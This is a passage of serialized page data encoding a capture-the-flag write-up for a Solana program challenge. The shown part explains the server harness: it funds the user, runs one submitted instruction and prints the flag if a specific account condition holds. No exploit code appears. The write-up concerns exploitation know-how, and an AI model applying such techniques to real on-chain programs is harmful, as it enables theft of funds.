en":42667},{"style":208},[42668],{"type":31,"value":1897},{"type":25,"tag":201,"props":42670,"children":42671},{"style":246},[42672],{"type":31,"value":15359},{"type":25,"tag":201,"props":42674,"children":42675},{"style":261},[42676],{"type":31,"value":413},{"type":25,"tag":201,"props":42678,"children":42679},{"style":220},[42680],{"type":31,"value":41726},{"type":25,"tag":201,"props":42682,"children":42683},{"style":261},[42684],{"type":31,"value":4988},{"type":25,"tag":201,"props":42686,"children":42687},{"style":220},[42688],{"type":31,"value":41735},{"type":25,"tag":201,"props":42690,"children":42691},{"style":261},[42692],{"type":31,"value":4988},{"type":25,"tag":201,"props":42694,"children":42695},{"style":214},[42696],{"type":31,"value":41744},{"type":25,"tag":201,"props":42698,"children":42699},{"style":261},[42700],{"type":31,"value":4988},{"type":25,"tag":201,"props":42702,"children":42703},{"style":220},[42704],{"type":31,"value":41753},{"type":25,"tag":201,"props":42706,"children":42707},{"style":4925},[42708],{"type":31,"value":4928},{"type":25,"tag":201,"props":42710,"children":42711},{"style":220},[42712],{"type":31,"value":18723},{"type":25,"tag":201,"props":42714,"children":42715},{"style":426},[42716],{"type":31,"value":5579},{"type":25,"tag":201,"props":42718,"children":42719},{"style":220},[42720],{"type":31,"value":1930},{"type":25,"tag":201,"props":42722,"children":42723},{"style":208},[42724],{"type":31,"value":21763},{"type":25,"tag":201,"props":42726,"children":42727},{"style":220},[42728],{"type":31,"value":298},{"type":25,"tag":201,"props":42730,"children":42731},{"style":4925},[42732],{"type":31,"value":9551},{"type":25,"tag":201,"props":42734,"children":42735},{"style":220},[42736],{"type":31,"value":42434},{"type":25,"tag":201,"props":42738,"children":42739},{"style":246},[42740],{"type":31,"value":5206},{"type":25,"tag":201,"props":42742,"children":42743},{"style":220},[42744],{"type":31,"value":423},{"type":25,"tag":201,"props":42746,"children":42747},{"style":261},[42748],{"type":31,"value":4559},{"type":25,"tag":201,"props":42750,"children":42751},{"style":426},[42752],{"type":31,"value":5579},{"type":25,"tag":201,"props":42754,"children":42755},{"style":220},[42756],{"type":31,"value":16907},{"type":25,"tag":201,"props":42758,"children":42759},{"style":261},[42760],{"type":31,"value":80},{"type":25,"tag":201,"props":42762,"children":42763},{"style":214},[42764],{"type":31,"value":27646},{"type":25,"tag":201,"props":42766,"children":42767},{"style":220},[42768],{"type":31,"value":15381},{"type":25,"tag":201,"props":42770,"children":42771},{"style":261},[42772],{"type":31,"value":80},{"type":25,"tag":201,"props":42774,"children":42775},{"style":214},[42776],{"type":31,"value":5170},{"type":25,"tag":201,"props":42778,"children":42779},{"style":220},[42780],{"type":31,"value":16921},{"type":25,"tag":201,"props":42782,"children":42783},{"class":203,"line":522},[42784,42788,42792,42796,42800,42804,42808,42812,42816,42820,42824,42828,42832,42836,42840,42844,42848,42852,42856,42860,42864,42868,42872,42876,42880,42884,42888,42892],{"type":25,"tag":201,"props":42785,"children":42786},{"style":208},[42787],{"type":31,"value":1897},{"type":25,"tag":201,"props":42789,"children":42790},{"style":246},[42791],{"type":31,"value":41841},{"type":25,"tag":201,"props":42793,"children":42794},{"style":261},[42795],{"type":31,"value":413},{"type":25,"tag":201,"props":42797,"children":42798},{"style":220},[42799],{"type":31,"value":41726},{"type":25,"tag":201,"props":42801,"children":42802},{"style":261},[42803],{"type":31,"value":4988},{"type":25,"tag":201,"props":42805,"children":42806},{"style":220},[42807],{"type":31,"value":41735},{"type":25,"tag":201,"props":42809,"children":42810},{"style":261},[42811],{"type":31,"value":4988},{"type":25,"tag":201,"props":42813,"children":42814},{"style":214},[42815],{"type":31,"value":41744},{"type":25,"tag":201,"props":42817,"children":42818},{"style":261},[42819],{"type":31,"value":4988},{"type":25,"tag":201,"props":42821,"children":42822},{"style":220},[42823],{"type":31,"value":41753},{"type":25,"tag":201,"props":42825,"children":42826},{"style":4925},[42827],{"type":31,"value":4928},{"type":25,"tag":201,"props":42829,"children":42830},{"style":220},[42831],{"type":31,"value":18723},{"type":25,"tag":201,"props":42833,"children":42834},{"style":426},[42835],{"type":31,"value":5579},{"type":25,"tag":201,"props":42837,"children":42838},{"style":220},[42839],{"type":31,"value":1930},{"type":25,"tag":201,"props":42841,"children":42842},{"style":4925},[42843],{"type":31,"value":9551},{"type":25,"tag":201,"props":42845,"children":42846},{"style":220},[42847],{"type":31,"value":9120},{"type":25,"tag":201,"props":42849,"children":42850},{"style":246},[42851],{"type":31,"value":5206},{"type":25,"tag":201,"props":42853,"children":42854},{"style":220},[42855],{"type":31,"value":423},{"type":25,"tag":201,"props":42857,"children":42858},{"style":426},[42859],{"type":31,"value":5579},{"type":25,"tag":201,"props":42861,"children":42862},{"style":261},[42863],{"type":31,"value":4559},{"type":25,"tag":201,"props":42865,"children":42866},{"style":426},[42867],{"type":31,"value":41918},{"type":25,"tag":201,"props":42869,"children":42870},{"style":220},[42871],{"type":31,"value":16907},{"type":25,"tag":201,"props":42873,"children":42874},{"style":261},[42875],{"type":31,"value":80},{"type":25,"tag":201,"props":42877,"children":42878},{"style":214},[42879],{"type":31,"value":27646},{"type":25,"tag":201,"props":42881,"children":42882},{"style":220},[42883],{"type":31,"value":15381},{"type":25,"tag":201,"props":42885,"children":42886},{"style":261},[42887],{"type":31,"value":80},{"type":25,"tag":201,"props":42889,"children":42890},{"style":214},[42891],{"type":31,"value":5170},{"type":25,"tag":201,"props":42893,"children":42894},{"style":220},[42895],{"type":31,"value":16921},{"type":25,"tag":201,"props":42897,"children":42898},{"class":203,"line":531},[42899,42903,42907,42911],{"type":25,"tag":201,"props":42900,"children":42901},{"style":214},[42902],{"type":31,"value":41954},{"type":25,"tag":201,"props":42904,"children":42905},{"style":220},[42906],{"type":31,"value":298},{"type":25,"tag":201,"props":42908,"children":42909},{"style":246},[42910],{"type":31,"value":14134},{"type":25,"tag":201,"props":42912,"children":42913},{"style":220},[42914],{"type":31,"value":308},{"type":25,"tag":201,"props":42916,"children":42917},{"class":203,"line":550},[42918],{"type":25,"tag":201,"props":42919,"children":42920},{"style":220},[42921],{"type":31,"value":4861},{"type":25,"tag":201,"props":42923,"children":42924},{"class":203,"line":563},[42925],{"type":25,"tag":201,"props":42926,"children":42927},{"style":220},[42928],{"type":31,"value":1187},{"type":25,"tag":40,"props":42930,"children":42932},{"id":42931},"test-environment",[42933],{"type":31,"value":42934},"Test Environment",{"type":25,"tag":34,"props":42936,"children":42937},{},[42938],{"type":31,"value":42939},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":25,"tag":34,"props":42941,"children":42942},{},[42943,42945,42951],{"type":31,"value":42944},"When you connect to the server through a tcp connection, ",{"type":25,"tag":115,"props":42946,"children":42948},{"className":42947},[],[42949],{"type":31,"value":42950},"framework/src/main.rs::handle_connection",{"type":31,"value":42952}," gets executed, which does the following:",{"type":25,"tag":6944,"props":42954,"children":42955},{},[42956],{"type":25,"tag":6948,"props":42957,"children":42958},{},[42959],{"type":31,"value":42960},"Creates a new Solana local node",{"type":25,"tag":191,"props":42962,"children":42964},{"className":4487,"code":42963,"language":4486,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[42965],{"type":25,"tag":115,"props":42966,"children":42967},{"__ignoreMap":7},[42968,43049,43125],{"type":25,"tag":201,"props":42969,"children":42970},{"class":203,"line":204},[42971,42975,42979,42984,42988,42993,42997,43002,43006,43011,43015,43020,43024,43028,43032,43037,43041,43045],{"type":25,"tag":201,"props":42972,"children":42973},{"style":208},[42974],{"type":31,"value":13289},{"type":25,"tag":201,"props":42976,"children":42977},{"style":208},[42978],{"type":31,"value":4513},{"type":25,"tag":201,"props":42980,"children":42981},{"style":246},[42982],{"type":31,"value":42983}," builder",{"type":25,"tag":201,"props":42985,"children":42986},{"style":261},[42987],{"type":31,"value":413},{"type":25,"tag":201,"props":42989,"children":42990},{"style":4925},[42991],{"type":31,"value":42992}," ChallengeBuilder",{"type":25,"tag":201,"props":42994,"children":42995},{"style":261},[42996],{"type":31,"value":4988},{"type":25,"tag":201,"props":42998,"children":42999},{"style":214},[43000],{"type":31,"value":43001},"try_from",{"type":25,"tag":201,"props":43003,"children":43004},{"style":220},[43005],{"type":31,"value":298},{"type":25,"tag":201,"props":43007,"children":43008},{"style":246},[43009],{"type":31,"value":43010},"socket",{"type":25,"tag":201,"props":43012,"children":43013},{"style":261},[43014],{"type":31,"value":80},{"type":25,"tag":201,"props":43016,"children":43017},{"style":214},[43018],{"type":31,"value":43019},"try_clone",{"type":25,"tag":201,"props":43021,"children":43022},{"style":220},[43023],{"type":31,"value":15381},{"type":25,"tag":201,"props":43025,"children":43026},{"style":261},[43027],{"type":31,"value":80},{"type":25,"tag":201,"props":43029,"children":43030},{"style":214},[43031],{"type":31,"value":5170},{"type":25,"tag":201,"props":43033,"children":43034},{"style":220},[43035],{"type":31,"value":43036},"())",{"type":25,"tag":201,"props":43038,"children":43039},{"style":261},[43040],{"type":31,"value":80},{"type":25,"tag":201,"props":43042,"children":43043},{"style":214},[43044],{"type":31,"value":5170},{"type":25,"tag":201,"props":43046,"children":43047},{"style":220},[43048],{"type":31,"value":1985},{"type":25,"tag":201,"props":43050,"children":43051},{"class":203,"line":226},[43052,43057,43061,43066,43070,43075,43079,43084,43088,43093,43098,43102,43107,43111,43116,43120],{"type":25,"tag":201,"props":43053,"children":43054},{"style":214},[43055],{"type":31,"value":43056},"assert!",{"type":25,"tag":201,"props":43058,"children":43059},{"style":220},[43060],{"type":31,"value":298},{"type":25,"tag":201,"props":43062,"children":43063},{"style":246},[43064],{"type":31,"value":43065},"builder",{"type":25,"tag":201,"props":43067,"children":43068},{"style":261},[43069],{"type":31,"value":80},{"type":25,"tag":201,"props":43071,"children":43072},{"style":214},[43073],{"type":31,"value":43074},"add_program",{"type":25,"tag":201,"props":43076,"children":43077},{"style":220},[43078],{"type":31,"value":298},{"type":25,"tag":201,"props":43080,"children":43081},{"style":267},[43082],{"type":31,"value":43083},"\"/path/to/chall.so\"",{"type":25,"tag":201,"props":43085,"children":43086},{"style":220},[43087],{"type":31,"value":919},{"type":25,"tag":201,"props":43089,"children":43090},{"style":4925},[43091],{"type":31,"value":43092},"Some",{"type":25,"tag":201,"props":43094,"children":43095},{"style":220},[43096],{"type":31,"value":43097},"(chall",{"type":25,"tag":201,"props":43099,"children":43100},{"style":261},[43101],{"type":31,"value":4988},{"type":25,"tag":201,"props":43103,"children":43104},{"style":220},[43105],{"type":31,"value":43106},"ID)) ",{"type":25,"tag":201,"props":43108,"children":43109},{"style":261},[43110],{"type":31,"value":10083},{"type":25,"tag":201,"props":43112,"children":43113},{"style":220},[43114],{"type":31,"value":43115}," chall",{"type":25,"tag":201,"props":43117,"children":43118},{"style":261},[43119],{"type":31,"value":4988},{"type":25,"tag":201,"props":43121,"children":43122},{"style":220},[43123],{"type":31,"value":43124},"ID);\n",{"type":25,"tag":201,"props":43126,"children":43127},{"class":203,"line":278},[43128,43132,43136,43140,43144,43148,43152,43157,43161,43165,43169],{"type":25,"tag":201,"props":43129,"children":43130},{"style":208},[43131],{"type":31,"value":13289},{"type":25,"tag":201,"props":43133,"children":43134},{"style":208},[43135],{"type":31,"value":4513},{"type":25,"tag":201,"props":43137,"children":43138},{"style":246},[43139],{"type":31,"value":43115},{"type":25,"tag":201,"props":43141,"children":43142},{"style":261},[43143],{"type":31,"value":413},{"type":25,"tag":201,"props":43145,"children":43146},{"style":246},[43147],{"type":31,"value":42983},{"type":25,"tag":201,"props":43149,"children":43150},{"style":261},[43151],{"type":31,"value":80},{"type":25,"tag":201,"props":43153,"children":43154},{"style":214},[43155],{"type":31,"value":43156},"build",{"type":25,"tag":201,"props":43158,"children":43159},{"style":220},[43160],{"type":31,"value":15381},{"type":25,"tag":201,"props":43162,"children":43163},{"style":261},[43164],{"type":31,"value":80},{"type":25,"tag":201,"props":43166,"children":43167},{"style":230},[43168],{"type":31,"value":1845},{"type":25,"tag":201,"props":43170,"children":43171},{"style":220},[43172],{"type":31,"value":461},{"type":25,"tag":6944,"props":43174,"children":43175},{"start":226},[43176],{"type":25,"tag":6948,"props":43177,"children":43178},{},[43179],{"type":31,"value":43180},"Funds the user account with 100 SOL",{"type":25,"tag":191,"props":43182,"children":43184},{"className":4487,"code":43183,"language":4486,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[43185],{"type":25,"tag":115,"props":43186,"children":43187},{"__ignoreMap":7},[43188,43221,43253,43260,43302,43334,43341,43349,43413,43432,43439],{"type":25,"tag":201,"props":43189,"children":43190},{"class":203,"line":204},[43191,43195,43200,43204,43209,43213,43217],{"type":25,"tag":201,"props":43192,"children":43193},{"style":208},[43194],{"type":31,"value":13289},{"type":25,"tag":201,"props":43196,"children":43197},{"style":246},[43198],{"type":31,"value":43199}," user_keypair",{"type":25,"tag":201,"props":43201,"children":43202},{"style":261},[43203],{"type":31,"value":413},{"type":25,"tag":201,"props":43205,"children":43206},{"style":4925},[43207],{"type":31,"value":43208}," Keypair",{"type":25,"tag":201,"props":43210,"children":43211},{"style":261},[43212],{"type":31,"value":4988},{"type":25,"tag":201,"props":43214,"children":43215},{"style":214},[43216],{"type":31,"value":1911},{"type":25,"tag":201,"props":43218,"children":43219},{"style":220},[43220],{"type":31,"value":1985},{"type":25,"tag":201,"props":43222,"children":43223},{"class":203,"line":226},[43224,43228,43233,43237,43241,43245,43249],{"type":25,"tag":201,"props":43225,"children":43226},{"style":208},[43227],{"type":31,"value":13289},{"type":25,"tag":201,"props":43229,"children":43230},{"style":246},[43231],{"type":31,"value":43232}," user",{"type":25,"tag":201,"props":43234,"children":43235},{"style":261},[43236],{"type":31,"value":413},{"type":25,"tag":201,"props":43238,"children":43239},{"style":246},[43240],{"type":31,"value":43199},{"type":25,"tag":201,"props":43242,"children":43243},{"style":261},[43244],{"type":31,"value":80},{"type":25,"tag":201,"props":43246,"children":43247},{"style":214},[43248],{"type":31,"value":5049},{"type":25,"tag":201,"props":43250,"children":43251},{"style":220},[43252],{"type":31,"value":1985},{"type":25,"tag":201,"props":43254,"children":43255},{"class":203,"line":278},[43256],{"type":25,"tag":201,"props":43257,"children":43258},{"emptyLinePlaceholder":17},[43259],{"type":31,"value":496},{"type":25,"tag":201,"props":43261,"children":43262},{"class":203,"line":311},[43263,43267,43272,43276,43280,43285,43289,43293,43297],{"type":25,"tag":201,"props":43264,"children":43265},{"style":208},[43266],{"type":31,"value":13289},{"type":25,"tag":201,"props":43268,"children":43269},{"style":246},[43270],{"type":31,"value":43271}," payer_keypair",{"type":25,"tag":201,"props":43273,"children":43274},{"style":261},[43275],{"type":31,"value":413},{"type":25,"tag":201,"props":43277,"children":43278},{"style":261},[43279],{"type":31,"value":8650},{"type":25,"tag":201,"props":43281,"children":43282},{"style":246},[43283],{"type":31,"value":43284},"chall",{"type":25,"tag":201,"props":43286,"children":43287},{"style":261},[43288],{"type":31,"value":80},{"type":25,"tag":201,"props":43290,"children":43291},{"style":220},[43292],{"type":31,"value":21777},{"type":25,"tag":201,"props":43294,"children":43295},{"style":261},[43296],{"type":31,"value":80},{"type":25,"tag":201,"props":43298,"children":43299},{"style":220},[43300],{"type":31,"value":43301},"payer;\n",{"type":25,"tag":201,"props":43303,"children":43304},{"class":203,"line":330},[43305,43309,43314,43318,43322,43326,43330],{"type":25,"tag":201,"props":43306,"children":43307},{"style":208},[43308],{"type":31,"value":13289},{"type":25,"tag":201,"props":43310,"children":43311},{"style":246},[43312],{"type":31,"value":43313}," payer",{"type":25,"tag":201,"props":43315,"children":43316},{"style":261},[43317],{"type":31,"value":413},{"type":25,"tag":201,"props":43319,"children":43320},{"style":246},[43321],{"type":31,"value":43271},{"type":25,"tag":201,"props":43323,"children":43324},{"style":261},[43325],{"type":31,"value":80},{"type":25,"tag":201,"props":43327,"children":43328},{"style":214},[43329],{"type":31,"value":5049},{"type":25,"tag":201,"props":43331,"children":43332},{"style":220},[43333],{"type":31,"value":1985},{"type":25,"tag":201,"props":43335,"children":43336},{"class":203,"line":397},[43337],{"type":25,"tag":201,"props":43338,"children":43339},{"emptyLinePlaceholder":17},[43340],{"type":31,"value":496},{"type":25,"tag":201,"props":43342,"children":43343},{"class":203,"line":437},[43344],{"type":25,"tag":201,"props":43345,"children":43346},{"style":246},[43347],{"type":31,"value":43348},"chall\n",{"type":25,"tag":201,"props":43350,"children":43351},{"class":203,"line":464},[43352,43357,43362,43367,43371,43375,43379,43383,43388,43392,43396,43400,43404,43409],{"type":25,"tag":201,"props":43353,"children":43354},{"style":261},[43355],{"type":31,"value":43356},"    .",{"type":25,"tag":201,"props":43358,"children":43359},{"style":214},[43360],{"type":31,"value":43361},"run_ix",{"type":25,"tag":201,"props":43363,"children":43364},{"style":220},[43365],{"type":31,"value":43366},"(system_instruction",{"type":25,"tag":201,"props":43368,"children":43369},{"style":261},[43370],{"type":31,"value":4988},{"type":25,"tag":201,"props":43372,"children":43373},{"style":214},[43374],{"type":31,"value":1027},{"type":25,"tag":201,"props":43376,"children":43377},{"style":220},[43378],{"type":31,"value":298},{"type":25,"tag":201,"props":43380,"children":43381},{"style":261},[43382],{"type":31,"value":4615},{"type":25,"tag":201,"props":43384,"children":43385},{"style":246},[43386],{"type":31,"value":43387},"payer",{"type":25,"tag":201,"props":43389,"children":43390},{"style":220},[43391],{"type":31,"value":919},{"type":25,"tag":201,"props":43393,"children":43394},{"style":261},[43395],{"type":31,"value":4615},{"type":25,"tag":201,"props":43397,"children":43398},{"style":246},[43399],{"type":31,"value":21729},{"type":25,"tag":201,"props":43401,"children":43402},{"style":220},[43403],{"type":31,"value":919},{"type":25,"tag":201,"props":43405,"children":43406},{"style":426},[43407],{"type":31,"value":43408},"100_000_000_000",{"type":25,"tag":201,"props":43410,"children":43411},{"style":220},[43412],{"type":31,"value":1086},{"type":25,"tag":201,"props":43414,"children":43415},{"class":203,"line":490},[43416,43420,43424,43428],{"type":25,"tag":201,"props":43417,"children":43418},{"style":261},[43419],{"type":31,"value":43356},{"type":25,"tag":201,"props":43421,"children":43422},{"style":230},[43423],{"type":31,"value":1845},{"type":25,"tag":201,"props":43425,"children":43426},{"style":261},[43427],{"type":31,"value":4661},{"type":25,"tag":201,"props":43429,"children":43430},{"style":220},[43431],{"type":31,"value":461},{"type":25,"tag":201,"props":43433,"children":43434},{"class":203,"line":499},[43435],{"type":25,"tag":201,"props":43436,"children":43437},{"emptyLinePlaceholder":17},[43438],{"type":31,"value":496},{"type":25,"tag":201,"props":43440,"children":43441},{"class":203,"line":522},[43442,43447,43451,43455,43459,43464,43468,43472,43476,43480],{"type":25,"tag":201,"props":43443,"children":43444},{"style":214},[43445],{"type":31,"value":43446},"writeln!",{"type":25,"tag":201,"props":43448,"children":43449},{"style":220},[43450],{"type":31,"value":298},{"type":25,"tag":201,"props":43452,"children":43453},{"style":246},[43454],{"type":31,"value":43010},{"type":25,"tag":201,"props":43456,"children":43457},{"style":220},[43458],{"type":31,"value":919},{"type":25,"tag":201,"props":43460,"children":43461},{"style":267},[43462],{"type":31,"value":43463},"\"user: {}\"",{"type":25,"tag":201,"props":43465,"children":43466},{"style":220},[43467],{"type":31,"value":919},{"type":25,"tag":201,"props":43469,"children":43470},{"style":246},[43471],{"type":31,"value":21729},{"type":25,"tag":201,"props":43473,"children":43474},{"style":220},[43475],{"type":31,"value":3073},{"type":25,"tag":201,"props":43477,"children":43478},{"style":261},[43479],{"type":31,"value":4661},{"type":25,"tag":201,"props":43481,"children":43482},{"style":220},[43483],{"type":31,"value":461},{"type":25,"tag":6944,"props":43485,"children":43486},{"start":278},[43487],{"type":25,"tag":6948,"props":43488,"children":43489},{},[43490],{"type":31,"value":43491},"Reads an instruction from the tcp stream and executes it",{"type":25,"tag":191,"props":43493,"children":43495},{"className":4487,"code":43494,"language":4486,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[43496],{"type":25,"tag":115,"props":43497,"children":43498},{"__ignoreMap":7},[43499,43549],{"type":25,"tag":201,"props":43500,"children":43501},{"class":203,"line":204},[43502,43506,43511,43515,43519,43523,43528,43532,43536,43541,43545],{"type":25,"tag":201,"props":43503,"children":43504},{"style":208},[43505],{"type":31,"value":13289},{"type":25,"tag":201,"props":43507,"children":43508},{"style":246},[43509],{"type":31,"value":43510}," solve_ix",{"type":25,"tag":201,"props":43512,"children":43513},{"style":261},[43514],{"type":31,"value":413},{"type":25,"tag":201,"props":43516,"children":43517},{"style":246},[43518],{"type":31,"value":43115},{"type":25,"tag":201,"props":43520,"children":43521},{"style":261},[43522],{"type":31,"value":80},{"type":25,"tag":201,"props":43524,"children":43525},{"style":214},[43526],{"type":31,"value":43527},"read_instruction",{"type":25,"tag":201,"props":43529,"children":43530},{"style":220},[43531],{"type":31,"value":43097},{"type":25,"tag":201,"props":43533,"children":43534},{"style":261},[43535],{"type":31,"value":4988},{"type":25,"tag":201,"props":43537,"children":43538},{"style":220},[43539],{"type":31,"value":43540},"ID)",{"type":25,"tag":201,"props":43542,"children":43543},{"style":261},[43544],{"type":31,"value":4661},{"type":25,"tag":201,"props":43546,"children":43547},{"style":220},[43548],{"type":31,"value":461},{"type":25,"tag":201,"props":43550,"children":43551},{"class":203,"line":226},[43552,43556,43560,43565,43569,43573,43577,43582,43586,43590,43594,43598,43603,43607,43611,43615,43619,43623,43627,43631],{"type":25,"tag":201,"props":43553,"children":43554},{"style":246},[43555],{"type":31,"value":43284},{"type":25,"tag":201,"props":43557,"children":43558},{"style":261},[43559],{"type":31,"value":80},{"type":25,"tag":201,"props":43561,"children":43562},{"style":214},[43563],{"type":31,"value":43564},"run_ixs_full",{"type":25,"tag":201,"props":43566,"children":43567},{"style":220},[43568],{"type":31,"value":298},{"type":25,"tag":201,"props":43570,"children":43571},{"style":261},[43572],{"type":31,"value":4615},{"type":25,"tag":201,"props":43574,"children":43575},{"style":220},[43576],{"type":31,"value":423},{"type":25,"tag":201,"props":43578,"children":43579},{"style":246},[43580],{"type":31,"value":43581},"solve_ix",{"type":25,"tag":201,"props":43583,"children":43584},{"style":220},[43585],{"type":31,"value":1930},{"type":25,"tag":201,"props":43587,"children":43588},{"style":261},[43589],{"type":31,"value":4615},{"type":25,"tag":201,"props":43591,"children":43592},{"style":220},[43593],{"type":31,"value":423},{"type":25,"tag":201,"props":43595,"children":43596},{"style":261},[43597],{"type":31,"value":4615},{"type":25,"tag":201,"props":43599,"children":43600},{"style":246},[43601],{"type":31,"value":43602},"user_keypair",{"type":25,"tag":201,"props":43604,"children":43605},{"style":220},[43606],{"type":31,"value":1930},{"type":25,"tag":201,"props":43608,"children":43609},{"style":261},[43610],{"type":31,"value":4615},{"type":25,"tag":201,"props":43612,"children":43613},{"style":246},[43614],{"type":31,"value":21729},{"type":25,"tag":201,"props":43616,"children":43617},{"style":220},[43618],{"type":31,"value":3073},{"type":25,"tag":201,"props":43620,"children":43621},{"style":261},[43622],{"type":31,"value":80},{"type":25,"tag":201,"props":43624,"children":43625},{"style":230},[43626],{"type":31,"value":1845},{"type":25,"tag":201,"props":43628,"children":43629},{"style":261},[43630],{"type":31,"value":4661},{"type":25,"tag":201,"props":43632,"children":43633},{"style":220},[43634],{"type":31,"value":461},{"type":25,"tag":6944,"props":43636,"children":43637},{"start":311},[43638],{"type":25,"tag":6948,"props":43639,"children":43640},{},[43641],{"type":31,"value":43642},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":25,"tag":191,"props":43644,"children":43646},{"className":4487,"code":43645,"language":4486,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[43647],{"type":25,"tag":115,"props":43648,"children":43649},{"__ignoreMap":7},[43650,43734,43825,43866,43950,43957,43994,44051,44096,44111,44147,44154,44161],{"type":25,"tag":201,"props":43651,"children":43652},{"class":203,"line":204},[43653,43657,43662,43666,43670,43674,43679,43683,43687,43691,43696,43700,43705,43710,43714,43718,43722,43726,43730],{"type":25,"tag":201,"props":43654,"children":43655},{"style":208},[43656],{"type":31,"value":13289},{"type":25,"tag":201,"props":43658,"children":43659},{"style":246},[43660],{"type":31,"value":43661}," flag",{"type":25,"tag":201,"props":43663,"children":43664},{"style":261},[43665],{"type":31,"value":413},{"type":25,"tag":201,"props":43667,"children":43668},{"style":4925},[43669],{"type":31,"value":22352},{"type":25,"tag":201,"props":43671,"children":43672},{"style":261},[43673],{"type":31,"value":4988},{"type":25,"tag":201,"props":43675,"children":43676},{"style":214},[43677],{"type":31,"value":43678},"create_program_address",{"type":25,"tag":201,"props":43680,"children":43681},{"style":220},[43682],{"type":31,"value":298},{"type":25,"tag":201,"props":43684,"children":43685},{"style":261},[43686],{"type":31,"value":4615},{"type":25,"tag":201,"props":43688,"children":43689},{"style":220},[43690],{"type":31,"value":423},{"type":25,"tag":201,"props":43692,"children":43693},{"style":267},[43694],{"type":31,"value":43695},"\"FLAG\"",{"type":25,"tag":201,"props":43697,"children":43698},{"style":261},[43699],{"type":31,"value":80},{"type":25,"tag":201,"props":43701,"children":43702},{"style":214},[43703],{"type":31,"value":43704},"as_ref",{"type":25,"tag":201,"props":43706,"children":43707},{"style":220},[43708],{"type":31,"value":43709},"()], ",{"type":25,"tag":201,"props":43711,"children":43712},{"style":261},[43713],{"type":31,"value":4615},{"type":25,"tag":201,"props":43715,"children":43716},{"style":220},[43717],{"type":31,"value":43284},{"type":25,"tag":201,"props":43719,"children":43720},{"style":261},[43721],{"type":31,"value":4988},{"type":25,"tag":201,"props":43723,"children":43724},{"style":220},[43725],{"type":31,"value":43540},{"type":25,"tag":201,"props":43727,"children":43728},{"style":261},[43729],{"type":31,"value":4661},{"type":25,"tag":201,"props":43731,"children":43732},{"style":220},[43733],{"type":31,"value":461},{"type":25,"tag":201,"props":43735,"children":43736},{"class":203,"line":226},[43737,43741,43745,43749,43753,43758,43762,43766,43770,43774,43778,43782,43787,43791,43796,43800,43805,43809,43813,43817,43821],{"type":25,"tag":201,"props":43738,"children":43739},{"style":230},[43740],{"type":31,"value":4105},{"type":25,"tag":201,"props":43742,"children":43743},{"style":208},[43744],{"type":31,"value":28789},{"type":25,"tag":201,"props":43746,"children":43747},{"style":4925},[43748],{"type":31,"value":28794},{"type":25,"tag":201,"props":43750,"children":43751},{"style":220},[43752],{"type":31,"value":298},{"type":25,"tag":201,"props":43754,"children":43755},{"style":246},[43756],{"type":31,"value":43757},"acct",{"type":25,"tag":201,"props":43759,"children":43760},{"style":220},[43761],{"type":31,"value":385},{"type":25,"tag":201,"props":43763,"children":43764},{"style":261},[43765],{"type":31,"value":1383},{"type":25,"tag":201,"props":43767,"children":43768},{"style":246},[43769],{"type":31,"value":43115},{"type":25,"tag":201,"props":43771,"children":43772},{"style":261},[43773],{"type":31,"value":80},{"type":25,"tag":201,"props":43775,"children":43776},{"style":220},[43777],{"type":31,"value":21777},{"type":25,"tag":201,"props":43779,"children":43780},{"style":261},[43781],{"type":31,"value":80},{"type":25,"tag":201,"props":43783,"children":43784},{"style":220},[43785],{"type":31,"value":43786},"banks_client",{"type":25,"tag":201,"props":43788,"children":43789},{"style":261},[43790],{"type":31,"value":80},{"type":25,"tag":201,"props":43792,"children":43793},{"style":214},[43794],{"type":31,"value":43795},"get_account",{"type":25,"tag":201,"props":43797,"children":43798},{"style":220},[43799],{"type":31,"value":298},{"type":25,"tag":201,"props":43801,"children":43802},{"style":246},[43803],{"type":31,"value":43804},"flag",{"type":25,"tag":201,"props":43806,"children":43807},{"style":220},[43808],{"type":31,"value":3073},{"type":25,"tag":201,"props":43810,"children":43811},{"style":261},[43812],{"type":31,"value":80},{"type":25,"tag":201,"props":43814,"children":43815},{"style":230},[43816],{"type":31,"value":1845},{"type":25,"tag":201,"props":43818,"children":43819},{"style":261},[43820],{"type":31,"value":4661},{"type":25,"tag":201,"props":43822,"children":43823},{"style":220},[43824],{"type":31,"value":327},{"type":25,"tag":201,"props":43826,"children":43827},{"class":203,"line":278},[43828,43832,43837,43841,43845,43849,43853,43857,43861],{"type":25,"tag":201,"props":43829,"children":43830},{"style":230},[43831],{"type":31,"value":13781},{"type":25,"tag":201,"props":43833,"children":43834},{"style":246},[43835],{"type":31,"value":43836}," acct",{"type":25,"tag":201,"props":43838,"children":43839},{"style":261},[43840],{"type":31,"value":80},{"type":25,"tag":201,"props":43842,"children":43843},{"style":220},[43844],{"type":31,"value":5206},{"type":25,"tag":201,"props":43846,"children":43847},{"style":261},[43848],{"type":31,"value":80},{"type":25,"tag":201,"props":43850,"children":43851},{"style":214},[43852],{"type":31,"value":10643},{"type":25,"tag":201,"props":43854,"children":43855},{"style":220},[43856],{"type":31,"value":15545},{"type":25,"tag":201,"props":43858,"children":43859},{"style":261},[43860],{"type":31,"value":10083},{"type":25,"tag":201,"props":43862,"children":43863},{"style":426},[43864],{"type":31,"value":43865}," 